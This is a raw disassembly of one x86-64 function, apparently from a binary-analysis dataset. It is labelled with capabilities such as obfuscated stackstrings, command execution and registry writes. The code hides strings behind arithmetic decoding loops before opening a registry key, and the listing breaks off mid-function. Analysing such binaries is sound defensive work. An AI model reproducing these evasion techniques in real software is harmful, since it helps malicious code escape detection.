Function at 0x1400cfef0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
xor eax, eax
mov dword [rbp + 0x260], 4
movzx r10d, byte [rbp + 0x260]
movabs rsi, 0xf267dbe508d19da1
mov dword [rbp + 0x7a], eax
movabs r14, 0x60e05fcdf43abe5d
mov word [rbp + 0x7e], ax
movabs r15, 0x67e35e3d9610b145
mov byte [rbp + 0x80], al
movabs r13, 0xa6229ea1ad9b348b
mov dword [rbp + 0x20], 0xbf81ba83
movabs r12, 0x22a11f69dcb03b17
mov dword [rbp + 0x24], 0xaa84bab1
mov dword [rbp + 0x28], 0x989a9b65
mov dword [rbp + 0x2c], 0x96a59590
mov dword [rbp + 0x30], 0x8a929194
mov dword [rbp + 0x34], 0x8b83ac86
mov dword [rbp + 0x38], 0x9fcbcdce
mov dword [rbp + 0x3c], 0x838280b7
mov dword [rbp + 0x40], 0x67888480
mov dword [rbp + 0x44], 0x7082724e
mov dword [rbp + 0x48], 0x8855766b
mov dword [rbp + 0x4c], 0x6b647765
mov dword [rbp + 0x50], 0x697f6053
mov dword [rbp + 0x54], 0x6e676f7d
mov dword [rbp + 0x58], 0x9c44716b
mov dword [rbp + 0x5c], 0x9d666a62
mov dword [rbp + 0x60], 0x5d656069
mov dword [rbp + 0x64], 0x5e525b71
mov dword [rbp + 0x68], 0x47574858
mov dword [rbp + 0x6c], 0x5c445067
mov dword [rbp + 0x70], 0x40505779
mov dword [rbp + 0x74], 0x4b474f43
mov word [rbp + 0x78], 0x3db1
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
cmp rbx, 0x61
jae 0x1400d0a66
movzx r11d, byte [rbp + rbx + 0x20]
mov edx, r11d
cmp r8, rbx
ja 0x1400d0a5d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d0062
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x75
add r10b, cl
jmp 0x1400d00b0
je 0x1400d0a13
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d0999
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d096d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d092c
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d090b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d08e7
nop dword [rax]
cmp r9, rbx
ja 0x1400d0a54
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400d00dd
lea rcx, [rbx + rsi]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x67
add r10b, cl
jmp 0x1400d0111
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d08a1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d0880
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d0865
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d0848
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d0545
nop
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d0523
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d04fb
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d04d9
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d04bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d04a2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d0488
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d0460
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d0120
mov r8, rax
lea r9, [rax + 9]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d0a39
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d02a5
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d0289
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d026d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d0418
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d03d7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d03b5
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d0120
mov r8, rax
lea r9, [rax + 5]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d0388
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d0369
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d034a
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d0327
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d0305
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d02e0
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d02c1
lea r8, [r9 + 2]
lea r9, [r8 + 2]
jmp 0x1400d0120
lea r10d, [rbx + 0x7f]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x79
add r10b, r11b
jmp 0x1400d0111
lea r10d, [rbx - 0x3b]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x63
add r10b, r11b
jmp 0x1400d00b0
lea r10d, [rbx + 0xb]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4d
add r10b, r11b
jmp 0x1400d0035
lea r10d, [rbx + 8]
movzx edi, bl
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, r11b
jmp 0x1400d08bd
lea r10d, [rbx + 0x4e]
inc r9
movzx eax, r10b
dec rbx
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, r11b
inc rbx
jmp 0x1400d0022
lea r10d, [rbx - 0x6c]
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, r11b
inc rbx
jmp 0x1400d0022
lea ecx, [rbx + 0x20]
mov r10d, reloc.WS2_32.dll_recv
movzx eax, cl
and al, r11b
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
add r8, r9
jmp 0x1400d0980
lea edx, [rbx + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d0980
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d09af
lea edx, [rbx + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0022
lea ecx, [rbx + 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
mov byte [rbp + rbx + 0x20], r10b
inc rbx
jmp 0x1400d0022
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
cmp r9, 0x3e8
jb 0x1400d03ca
mov edx, reloc.WS2_32.dll_ntohs
movzx edi, bl
lea ecx, [rdi + 0xe]
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d08bd
lea ecx, [rbx - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
cmp r8, 0x61
jae 0x1400d0806
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400d0754
lea edx, [rbx - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d03ec
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x6a
inc rbx
jmp 0x1400d0022
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400d09d5
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400d0980
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
add r8, r9
jmp 0x1400d0980
lea edx, [rbx + 0x24]
mov ecx, 2
movzx eax, dl
movzx edi, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d0948
lea edx, [rbx - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0022
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx edi, bl
lea edx, [rdi - 0xa]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d08bd
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d0598
lea ecx, [rbx + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400d082c
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400d066f
lea ecx, [rbx + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x1400d042d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d05ce
lea edx, [rbx + 0x42]
mov ecx, Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0022
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d05f6
lea edx, [rbx - 0x4a]
mov ecx, 3
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d09af
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d061c
lea ecx, [rbx + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
add r8, r9
jmp 0x1400d0980
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d0642
movzx edi, bl
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400d0948
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d0563
lea ecx, [rbx - 0x62]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
inc rbx
jmp 0x1400d0022
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d0695
movzx edi, bl
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
jmp 0x1400d08bd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d06be
lea ecx, [rbx + 0x57]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
inc rbx
jmp 0x1400d0022
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d06e4
movzx edi, bl
lea ecx, [rdi + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
jmp 0x1400d0948
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d070a
lea ecx, [rbx - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
add r8, r9
jmp 0x1400d0980
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d072d
lea ecx, [rbx - 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x1400d0980
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d042d
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x1400d09af
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d078a
lea edx, [rbx - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0022
inc rax
cmp r8, rax
jne 0x1400d07b1
lea edx, [rbx - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d0980
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d07dc
lea edx, [rbx + 0x6c]
mov ecx, 6
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d0980
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d03ec
movzx edi, bl
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400d0948
movzx r10d, byte [rbp + rbx + 0x20]
movzx edi, bl
lea edx, [rdi - 0x38]
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x1400d0948
lea edx, [rbx - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d09af
lea edx, [rbx - 0x49]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
dec r10b
add r10b, dl
jmp 0x1400d09af
lea ecx, [rbx - 3]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x15
jmp 0x1400d0980
lea ecx, [rbx - 0x31]
movzx eax, r11b
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x57
inc rbx
jmp 0x1400d0022
movzx edi, bl
movzx eax, r11b
movzx r10d, r11b
lea edx, [rdi + 0x5b]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, dl
movzx eax, r11b
add dil, 0x6b
and al, dil
inc r9
add al, al
sub r11b, al
add r11b, 0x13
add r11b, dil
mov byte [rbp + rbx + 0x20], r11b
dec rbx
inc rbx
jmp 0x1400d0022
lea ecx, [rbx + 0x2d]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3b
inc r9
dec rbx
inc rbx
jmp 0x1400d0022
lea ecx, [rbx + 0x73]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x25
dec rbx
inc rbx
jmp 0x1400d0022
movzx edi, bl
movzx eax, r11b
movzx r10d, r11b
lea edx, [rdi - 0x47]
and al, dl
add al, al
sub r10b, al
sub r10b, 0xf
add r10b, dl
add dil, 0x25
movzx eax, r11b
and al, dil
movzx ecx, r10b
add al, al
sub cl, al
sub cl, 3
add cl, r11b
add cl, dil
mov byte [rbp + rbx + 0x20], cl
add r8, r9
jmp 0x1400d0980
lea rax, [rbx + r15]
and dl, al
add dl, dl
sub r11b, dl
lea r10d, [rax + r11]
add r10b, 0x1d
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d0022
lea rcx, [rbx + r13]
movzx r10d, r11b
and dl, cl
add dl, dl
sub r10b, dl
add r10b, 0x33
add r10b, cl
lea edx, [rbx - 0x21]
movzx eax, r11b
and al, dl
inc r9
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x20], al
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x3c]
movzx eax, r11b
and al, dl
inc r8
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x20], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0022
lea rax, [rbx + r12]
and dl, al
add dl, dl
sub r11b, dl
lea r10d, [rax + r11]
add r10b, 0x5f
movzx eax, byte [rbp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0022
sub bl, 0x69
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x21
jmp 0x1400d0010
lea rdx, [rbp + 0x177e69c]
jmp 0x1400d0a6a
lea rdx, [rbp + 0xb2a4f9]
jmp 0x1400d0a6a
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x270]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d39bc
movzx r11d, byte [rbp + 0x260]
xorps xmm0, xmm0
xor eax, eax
mov dword [rsp + 0x40], 0x858bbfe1
movups xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], ax
movabs r14, 0xb2adbda385c58fda
mov dword [rsp + 0x44], 0x17ba84bc
movabs r15, 0x481baabfb3f20eaa
movabs r13, 0xe2c02f78a866eef6
movabs r12, 0x180938ea9150af8e
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
cmp rbx, 0x1a
jae 0x1400d15fb
movzx edi, byte [rsp + rbx + 0x40]
mov r10, rdi
cmp r8, rbx
ja 0x1400d15f2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d0b44
lea rcx, [rbx + r14]
movzx eax, r10b
and al, cl
mov r11d, 5
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
jmp 0x1400d0b80
je 0x1400d157d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d14fb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d14c7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d14a8
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d1462
nop
cmp r9, rbx
ja 0x1400d15e9
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400d0ba9
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2e
jmp 0x1400d0be0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d1446
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1421
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d1414
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d13ec
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d1140
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d111c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d10f4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d10cf
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d10b0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d1093
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d1079
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d105f
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d1045
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d101d
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d0bf0
lea r8, [r9 + 0x42]
lea r9, [r8 + 2]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d15ca
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d15ab
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d0de8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d0dc9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d0daa
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d0fce
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d0f83
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d0f46
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d0f24
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d0bf0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d0efc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d0edd
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d0ec1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d0ea2
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d0e95
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d0e72
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d0e4d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d0e25
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d0e07
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d0bf0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 6]
jmp 0x1400d0bf0
lea edx, [rbx + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0be0
lea edx, [rbx - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0b80
lea edx, [rbx - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0b11
lea ecx, [rbx + 0x10]
movzx r10d, bl
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x1400d147c
lea edx, [rbx + 0x5c]
mov ecx, 0x3e
movzx eax, dl
inc r9
and al, dil
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
lea edx, [rbx - 0x58]
mov ecx, 0x34
movzx eax, dl
dec rbx
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
lea edx, [rbx - 0xc]
mov ecx, Ordinal_45
movzx eax, dl
movzx r10d, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d13a7
lea edx, [rbx + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400d14b0
lea edx, [rbx - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d14e2
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d1515
lea edx, [rbx + 0x24]
mov ecx, 2
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d153f
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0x10
inc rbx
jmp 0x1400d0b02
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x42
mov byte [rsp + rbx + 0x40], r11b
inc rbx
jmp 0x1400d0b02
lea ecx, [rbx + 0x7a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x56
cmp r9, 0x10
jb 0x1400d0f39
movzx r10d, bl
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r11d, [rcx*2 - 8]
jmp 0x1400d147c
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6a
cmp r8, 0x80
jae 0x1400d1388
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400d1304
lea edx, [rbx - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0f5b
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7e
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400d13d0
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400d125f
lea edx, [rbx - 0xe]
mov ecx, Ordinal_50
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0f98
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0x14
inc rbx
jmp 0x1400d0b02
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x1400d153f
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3c
jmp 0x1400d1518
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x1400d14e2
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
add r8, r9
jmp 0x1400d14e2
movzx r10d, bl
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
jmp 0x1400d13a7
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
dec rbx
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
inc r9
and al, dil
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
mov ecx, Ordinal_41
movzx r10d, bl
lea edx, [r10 - 0x54]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d147c
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1400d1168
lea edx, [rbx - 0x26]
mov ecx, 5
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d0fe3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1199
lea ecx, [rbx - 0x3c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0x5c
inc rbx
jmp 0x1400d0b02
inc rax
cmp r8, rax
jne 0x1400d11bb
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
jmp 0x1400d1518
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d11de
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
jmp 0x1400d14e2
cmp r8, rcx
jne 0x1400d1200
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xc
add r8, r9
jmp 0x1400d14e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d122d
mov ecx, 4
movzx r10d, bl
lea edx, [r10 + 0x48]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d13a7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d0fe3
lea edx, [rbx - 4]
mov ecx, reloc.WS2_32.dll_ntohl
